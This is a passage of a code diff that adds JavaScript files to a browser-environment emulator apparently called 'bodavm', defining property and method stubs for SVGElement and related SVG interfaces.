set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "dataset_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "blur", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "focus", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGGElement.js b/env_xbb_lastest_jsdom/env copy/SVGGElement.js new file mode 100644 index 00000000..a706343a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGGElement.js @@ -0,0 +1,5 @@ +// SVGGElement对象 +bodavm.memory.globalobj['SVGGElement'] = function SVGGElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGElement'], "SVGGElement"); +bodavm.memory.globalobj['SVGGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; diff --git a/env_xbb_lastest_jsdom/env copy/SVGGeometryElement.js b/env_xbb_lastest_jsdom/env copy/SVGGeometryElement.js new file mode 100644 index 00000000..9be96b17 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGGeometryElement.js @@ -0,0 +1,10 @@ +// SVGGeometryElement对象 +bodavm.memory.globalobj['SVGGeometryElement'] = function SVGGeometryElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGeometryElement'], "SVGGeometryElement"); +bodavm.memory.globalobj['SVGGeometryElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGeometryElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "pathLength", {configurable:true, enumerable:true, get:function pathLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "pathLength_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getPointAtLength", {configurable:true, enumerable:true, writable:true, value:function getPointAtLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getPointAtLength", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getTotalLength", {configurable:true, enumerable:true, writable:true, value:function getTotalLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getTotalLength", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInFill", {configurable:true, enumerable:true, writable:true, value:function isPointInFill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInFill", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInStroke", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGGraphicsElement.js b/env_xbb_lastest_jsdom/env copy/SVGGraphicsElement.js new file mode 100644 index 00000000..6a68bf4d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGGraphicsElement.js @@ -0,0 +1,13 @@ +// SVGGraphicsElement对象 +bodavm.memory.globalobj['SVGGraphicsElement'] = function SVGGraphicsElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGraphicsElement'], "SVGGraphicsElement"); +bodavm.memory.globalobj['SVGGraphicsElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGGraphicsElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "transform_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "nearestViewportElement", {configurable:true, enumerable:true, get:function nearestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "nearestViewportElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "farthestViewportElement", {configurable:true, enumerable:true, get:function farthestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "farthestViewportElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getBBox", {configurable:true, enumerable:true, writable:true, value:function getBBox (){return bodavm.toolsFunc.dispatch(this, 